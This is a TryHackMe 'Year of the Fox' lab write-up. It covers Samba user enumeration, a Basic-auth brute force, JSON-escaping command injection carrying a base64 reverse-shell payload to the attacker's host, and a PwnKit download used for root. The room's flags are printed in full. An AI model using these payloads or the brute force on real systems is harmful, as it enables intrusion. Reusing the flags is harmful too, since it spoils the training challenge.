Writeups/TryHackMe/Year of the Fox - TryHackMe Writeup
TryHackMeMediumRoom

Year of the Fox - TryHackMe Writeup

Year of the Fox TryHackMe writeup — Basic auth bruteforce, Samba user enumeration, JSON escaping into command injection on a search endpoint, and PwnKit for root.

Don't underestimate the sly old fox…

##Task 1 | Hack The Machines and Obtain The Flags

Can you get past the wily fox?


###Answer the questions below

Q. What is the web flag?

Ans.

Q. What is the user flag?

Ans.

Q. What is the root flag?

Ans.


##Walkthrough

Let's begin with a full port scan against the target.

bash
root@ip-10-48-120-110:~# nmap -sT -p- 10.48.157.126 -v PORT STATE SERVICE 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds

##Initial Enumeration

Browsing to the application reveals the login request. trying admin:admin creds.

http
GET / HTTP/1.1 Host: 10.48.157.126 Cache-Control: max-age=0 Authorization: Basic YWRtaW46YWRtaW4= Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 401 Unauthorized Date: Mon, 22 Jun 2026 08:30:48 GMT Server: Apache/2.4.29 (Ubuntu) WWW-Authenticate: Basic realm="You want in? Gotta guess the password!" Content-Length: 460 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at 10.48.157.126 Port 80</address> </body></html>

401 Unauthorized Basic auth prompt
401 Unauthorized Basic auth prompt

2 observations -

  1. >Basic Authentication is used (base64 Encoding)
  2. >WWW-Authenticate: Basic realm="You want in? Gotta guess the password!"

So, we gotta bruteforce login, but don't have a username yet. Let's look at the SMB open port for now -

bash
root@ip-10-48-119-166:~# smbclient -L //10.48.160.59 -N Sharename Type Comment --------- ---- ------- yotf Disk Fox's Stuff -- keep out! IPC$ IPC IPC Service (year-of-the-fox server (Samba, Ubuntu)) SMB1 disabled -- no workgroup available root@ip-10-48-119-166:~# root@ip-10-48-119-166:~# smbclient //10.48.160.59/yotf -N tree connect failed: NT_STATUS_ACCESS_DENIED

Access denied! But, now we have a potential username (fox) to run Hydra on.

bash
root@ip-10-48-119-166:~# enum4linux -A 10.48.160.59 [+] Found 1 user(s) via 'enumdomusers' [+] After merging user results we have 1 user(s) total: '1000': username: fox name: fox acb: '0x00000010' description: '' **========================================= | Policies via RPC for 10.48.160.59 | ========================================= [*] Trying port 445/tcp [+] Found policy: Domain password information: Password history length: None Minimum password length: 5 Minimum password age: none Maximum password age: 49710 days (136 years) 6 hours 21 minutes Password properties: - DOMAIN_PASSWORD_COMPLEX: false - DOMAIN_PASSWORD_NO_ANON_CHANGE: false - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false Domain lockout information: Lockout observation window: 30 minutes Lockout duration: 30 minutes Lockout threshold: None Domain logoff information: Force logoff time: 49710 days (136 years) 6 hours 21 minutes**

We couldn't crack any passwords for user fox. So, I went back to the Samba Enumeration and tried more things until I found another username using SID enum -

bash
root@ip-10-48-119-166:~# enum4linux -R 1000 10.48.160.59 ENUM4LINUX - next generation (v1.3.10) ========================== | Target Information | ========================== [*] Target ........... 10.48.160.59 [*] Username ......... '' [*] Random Username .. 'zqnndfwb' [*] Password ......... '' [*] Timeout .......... 10 second(s) [*] RID Range(s) ..... 500-550,1000-1050 [*] RID Req Size ..... 1000 [*] Known Usernames .. 'administrator,guest,krbtgt,domain admins,root,bin,none' ===================================== | Listener Scan on 10.48.160.59 | ===================================== [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [+] SMB over NetBIOS is accessible on 139/tcp ========================================= | SMB Dialect Check on 10.48.160.59 | ========================================= [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: true SMB 2.0.2: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false =========================================================== | Domain Information via SMB session for 10.48.160.59 | =========================================================== [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: YEAR-OF-THE-FOX NetBIOS domain name: '' DNS domain: lan FQDN: year-of-the-fox.lan Derived membership: workgroup member Derived domain: unknown ========================================= | RPC Session Check on 10.48.160.59 | ========================================= [*] Check for anonymous access (null session) [+] Server allows authentication via username '' and password '' [*] Check for guest access [+] Server allows authentication via username 'zqnndfwb' and password '' [H] Rerunning enumeration with user 'zqnndfwb' might give more results =================================================== | Domain Information via RPC for 10.48.160.59 | =================================================== [+] Domain: YEAROFTHEFOX [H] Found domain/workgroup 'YEAROFTHEFOX' which is different from the currently used one 'WORKGROUP'. [+] Domain SID: NULL SID [+] Membership: workgroup member ================================================================== | Users, Groups and Machines on 10.48.160.59 via RID Cycling | ================================================================== [*] Trying to enumerate SIDs [+] Found 3 SID(s) [*] Trying SID S-1-22-1 [+] Found user 'Unix User\fox' (RID 1000) [+] Found user 'Unix User\rascal' (RID 1001) [*] Trying SID S-1-5-21-978893743-2663913856-222388731 [+] Found user 'YEAR-OF-THE-FOX\nobody' (RID 501) [+] Found domain group 'YEAR-OF-THE-FOX\None' (RID 513) [*] Trying SID S-1-5-32 [+] Found builtin group 'BUILTIN\Administrators' (RID 544) [+] Found builtin group 'BUILTIN\Users' (RID 545) [+] Found builtin group 'BUILTIN\Guests' (RID 546) [+] Found builtin group 'BUILTIN\Power Users' (RID 547) [+] Found builtin group 'BUILTIN\Account Operators' (RID 548) [+] Found builtin group 'BUILTIN\Server Operators' (RID 549) [+] Found builtin group 'BUILTIN\Print Operators' (RID 550) [+] Found 3 user(s), 8 group(s), 0 machine(s) in total

We have another user rascal . Let's try the same login bruteforce on the web interface for this user.

bash
root@ip-10-48-119-166:~# python3 script.py [*] Starting brute-force against http://10.48.160.59/ with user 'rascal' using 256 threads... [+] SUCCESS! Password found: 777777 [*] Stopping threads and exiting. root@ip-10-48-119-166:~#

So, we have credentials rascal:777777

http
GET / HTTP/1.1 Host: 10.48.160.59 Cache-Control: max-age=0 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 22 Jun 2026 10:09:36 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Sun, 31 May 2020 20:52:40 GMT ETag: "28e-5a6f7dbe67600-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 654 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html> <html> <head> <title>Year of the Fox</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel=stylesheet type=text/css href=assets/css/style.css> <link rel=stylesheet type=text/css href=assets/css/amatic.css> <script src="assets/js/submit.js"></script> <script src="assets/js/filter.js"></script> </head> <body> <main> <h1>Rascal's Search System</h1> <input type=text id="target" placeholder="Looking for something?"> </form> <button id=search onclick="submit();">Search!</button> <ul id=results style=display:none;></ul> </main> </body> </html>

Rascal's Search System after logging in with rascal:777777
Rascal's Search System after logging in with rascal:777777

Some obfuscated JS files -

http
GET /assets/js/submit.js HTTP/1.1 Host: 10.48.160.59 Cache-Control: max-age=0 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 22 Jun 2026 10:17:39 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Sun, 31 May 2020 20:46:28 GMT ETag: "565-5a6f7c5ba3100-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 1381 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/javascript var _0x49ca=['onreadystatechange','send','POST','stringify','createElement','length','responseText','innerHTML','/assets/php/search.php','results','appendChild','getElementById','replace','target','parse','open','createTextNode','value'];(function(_0x4b4363,_0x49ca1a){var _0x3926ef=function(_0x23f2a2){while(--_0x23f2a2){_0x4b4363['push'](_0x4b4363['shift']());}};_0x3926ef(++_0x49ca1a);}(_0x49ca,0x1a0));var _0x3926=function(_0x4b4363,_0x49ca1a){_0x4b4363=_0x4b4363-0x0;var _0x3926ef=_0x49ca[_0x4b4363];return _0x3926ef;};function submit(){var _0x25c265=document[_0x3926('0x9')](_0x3926('0xb'))[_0x3926('0xf')][_0x3926('0xa')](/[^a-zA-Z0-9. ]|exec/gi,'');var _0x33c045=document[_0x3926('0x9')](_0x3926('0x7'));_0x33c045[_0x3926('0x5')]='';var _0x5a6bb1=new XMLHttpRequest();_0x5a6bb1[_0x3926('0x10')]=function(){if(this['readyState']==0x4&&this['status']==0xc8){response=JSON[_0x3926('0xc')](_0x5a6bb1[_0x3926('0x4')]);for(var _0xde072e=0x0;_0xde072e<response[_0x3926('0x3')];_0xde072e++){var _0x6abcb4=document[_0x3926('0x2')]('li');_0x6abcb4[_0x3926('0x8')](document[_0x3926('0xe')](response[_0xde072e]));_0x33c045[_0x3926('0x8')](_0x6abcb4);_0x33c045['style']='display:block;';}document[_0x3926('0x9')](_0x3926('0xb'))[_0x3926('0xf')]='';}};_0x5a6bb1[_0x3926('0xd')](_0x3926('0x0'),_0x3926('0x6'),!![]);_0x5a6bb1[_0x3926('0x11')](JSON[_0x3926('0x1')]({'target':_0x25c265}));} GET /assets/js/filter.js HTTP/1.1 Host: 10.48.160.59 Cache-Control: max-age=0 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 22 Jun 2026 10:20:59 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Sun, 31 May 2020 20:46:32 GMT ETag: "2de-5a6f7c5f73a00-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 734 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/javascript var _0x48ef=['keyup','value','target','preventDefault','addEventListener','test','keyCode'];(function(_0x57ee59,_0x48ef0f){var _0x2911af=function(_0x4f1ea3){while(--_0x4f1ea3){_0x57ee59['push'](_0x57ee59['shift']());}};_0x2911af(++_0x48ef0f);}(_0x48ef,0x1d5));var _0x2911=function(_0x57ee59,_0x48ef0f){_0x57ee59=_0x57ee59-0x0;var _0x2911af=_0x48ef[_0x57ee59];return _0x2911af;};window['onload']=function(){var _0x31dff8=document['getElementById'](_0x2911('0x2'));_0x31dff8[_0x2911('0x1')]='';_0x31dff8[_0x2911('0x4')](_0x2911('0x0'),function(_0x18bdaf){if(_0x18bdaf[_0x2911('0x6')]===0xd){_0x18bdaf[_0x2911('0x3')]();submit();}if(/^[A-Za-z0-9. ]*$/[_0x2911('0x5')](_0x31dff8[_0x2911('0x1')])==![]){_0x31dff8[_0x2911('0x1')]='';}});};

Searching for a file, just returns it's name but not it's content -

http
POST /assets/php/search.php HTTP/1.1 Host: 10.48.160.59 Content-Length: 31 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: http://10.48.160.59 Referer: http://10.48.160.59/ Accept-Encoding: gzip, deflate, br Connection: keep-alive {"target":"important-data.txt"} HTTP/1.1 200 OK Date: Mon, 22 Jun 2026 10:20:20 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 22 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 ["important-data.txt"]

Seeing the application behaviour strongly suggests the PHP script is probably doing something like:

php
glob("*$target*");

Let's try wildcard -

http
POST /assets/php/search.php HTTP/1.1 Host: 10.48.160.59 Content-Length: 14 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: http://10.48.160.59 Referer: http://10.48.160.59/ Accept-Encoding: gzip, deflate, br Connection: keep-alive {"target":"*"} HTTP/1.1 200 OK Date: Mon, 22 Jun 2026 10:24:41 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 45 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 ["creds2.txt","fox.txt","important-data.txt"]

Worked!

By intercepting the search request with Burp Suite, I noticed that the input was being sent to search.php in a JSON-like format. I started experimenting with JSON escaping to see if command injection was possible.

Experimenting with JSON escaping for command injection
Experimenting with JSON escaping for command injection

Next, I sent the request to Burp Suite's Intruder to check for Local File Inclusion (LFI), but no vulnerability was found.

Then I tried escaping characters using a backslash \ and added a semicolon ; to terminate the current command. After that, I appended my own command, using \n at the end to move to a new line, which allows the server to execute the injected command.

http
POST /assets/php/search.php HTTP/1.1 Host: 10.48.160.59 Content-Length: 59 Authorization: Basic cmFzY2FsOjc3Nzc3Nw== Accept-Language: en-GB,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: http://10.48.160.59 Referer: http://10.48.160.59/ Accept-Encoding: gzip, deflate, br Connection: keep-alive {"target": "\"; echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40OC4xMTkuMTY2LzEzMzcgMD4mMQ==' | base64 -d | bash \n" }

Setup a listener using -

bash
nc -lnvp 1337

And we have a shell! Let's get the web flag.

bash
ls -la total 20 drwxr-xr-x 4 root root 4096 May 31 2020 . drwxr-xr-x 13 root root 4096 May 30 2020 .. drwxr-xr-x 2 root root 4096 May 31 2020 files drwxr-xr-x 3 root root 4096 May 31 2020 html -rw-r--r-- 1 root root 38 May 31 2020 web-flag.txt www-data@year-of-the-fox:/var/www$ cat web cat web-flag.txt THM{Nzg2ZWQwYWUwN2UwOTU3NDY5ZjVmYTYw} www-data@year-of-the-fox:/var/www$

Now, we can stabilize the shell using -

bash
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

Let's start enumeration -

bash
www-data@year-of-the-fox:/var/www$ ls /home ls /home fox rascal www-data@year-of-the-fox:/var/www$ ls /home/fox ls /home/fox ls: cannot open directory '/home/fox': Permission denied www-data@year-of-the-fox:/var/www$ ls /home/rascal ls /home/rascal ls: cannot open directory '/home/rascal': Permission denied www-data@year-of-the-fox:/var/www$
bash
www-data@year-of-the-fox:/var/www/files$ ls -la ls -la total 12 drwxr-xr-x 2 root root 4096 May 31 2020 . drwxr-xr-x 4 root root 4096 May 31 2020 .. -rw-r--r-- 1 root root 154 May 31 2020 creds2.txt -rw-r--r-- 1 root root 0 May 31 2020 fox.txt -rw-r--r-- 1 root root 0 May 31 2020 important-data.txt www-data@year-of-the-fox:/var/www/files$ cat creds2.txt cat creds2.txt LF5GGMCNPJIXQWLKJEZFURCJGVMVOUJQJVLVE2CONVHGUTTKNBWVUV2WNNNFOSTLJVKFS6CNKRAX UTT2MMZE4VCVGFMXUSLYLJCGGM22KRHGUTLNIZUE26S2NMFE6R2NGBHEIY32JVBUCZ2MKFXT2CQ=

We have new sets of credentials, which seem to be encrypted.

Let's enumerate further and look at SUID binaries -

bash
find / -perm -4000 -type f 2>/dev/null /usr/bin/pkexec

Further, let's try to gain root access using PwnKit -

bash
wget http://10.48.119.166:8000/PwnKit --2026-06-22 11:45:17-- http://10.48.119.166:8000/PwnKit Connecting to 10.48.119.166:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 18040 (18K) [application/octet-stream] Saving to: 'PwnKit' 0K .......... ....... 100% 164M=0s 2026-06-22 11:45:17 (164 MB/s) - 'PwnKit' saved [18040/18040] www-data@year-of-the-fox:/tmp$ www-data@year-of-the-fox:/tmp$ chmod +x PwnKit chmod +x PwnKit www-data@year-of-the-fox:/tmp$ ./PwnKit ./PwnKit root@year-of-the-fox:/tmp# id id uid=0(root) gid=0(root) groups=0(root),33(www-data) root@year-of-the-fox:/tmp#

Let's read both the remaining flags, and we are done -

bash
root@year-of-the-fox:/home/fox# ls -la ls -la total 36 drwxr-x--- 5 fox fox 4096 Jun 20 2020 . drwxr-xr-x 4 root root 4096 May 28 2020 .. lrwxrwxrwx 1 fox fox 9 May 28 2020 .bash_history -> /dev/null -rw-r--r-- 1 fox fox 220 May 28 2020 .bash_logout -rw-r--r-- 1 fox fox 3771 May 28 2020 .bashrc drwx------ 2 fox fox 4096 May 28 2020 .cache drwx------ 3 fox fox 4096 May 28 2020 .gnupg -rw-r--r-- 1 fox fox 807 May 28 2020 .profile -rw-r--r-- 1 fox fox 0 May 28 2020 .sudo_as_admin_successful drwxr-xr-x 2 fox fox 4096 Jun 20 2020 samba -rw-r--r-- 1 root root 38 May 31 2020 user-flag.txt root@year-of-the-fox:/home/fox# cat user-flag.txt cat user-flag.txt THM{Njg3NWZhNDBjMmNlMzNkMGZmMDBhYjhk}

For the root flag, there's a twist -

bash
root@year-of-the-fox:/home/fox# ls /root ls /root root.txt root@year-of-the-fox:/home/fox# cat /root/root.txt cat /root/root.txt Not here -- go find! root@year-of-the-fox:/home/fox#

Exploring further, we find it in rascal 's home directory.

bash
root@year-of-the-fox:/home/rascal# ls -la ls -la total 24 drwxr-x--- 2 rascal rascal 4096 Jun 1 2020 . drwxr-xr-x 4 root root root 4096 May 28 2020 .. lrwxrwxrwx 1 root root 9 May 28 2020 .bash_history -> /dev/null -rw-r--r-- 1 rascal rascal 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 rascal rascal 3771 Apr 4 2018 .bashrc -r-------- 1 rascal root 158 Jun 9 2020 .did-you-think-I-was-useless.root -rw-r--r-- 1 rascal rascal 807 Apr 4 2018 .profile root@year-of-the-fox:/home/rascal# cat .did-you-think-I-was-useless.root cat .did-you-think-I-was-useless.root T H M {ODM3NTdk MDljYmM4Z jdhZWFhY2 VjY2Fk} Here's the prize: YTAyNzQ3ODZlMmE2MjcwNzg2NjZkNjQ2Nzc5NzA0NjY2Njc2NjY4M2I2OTMyMzIzNTNhNjk2ODMw Mwo= Good luck! root@year-of-the-fox:/home/rascal#

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.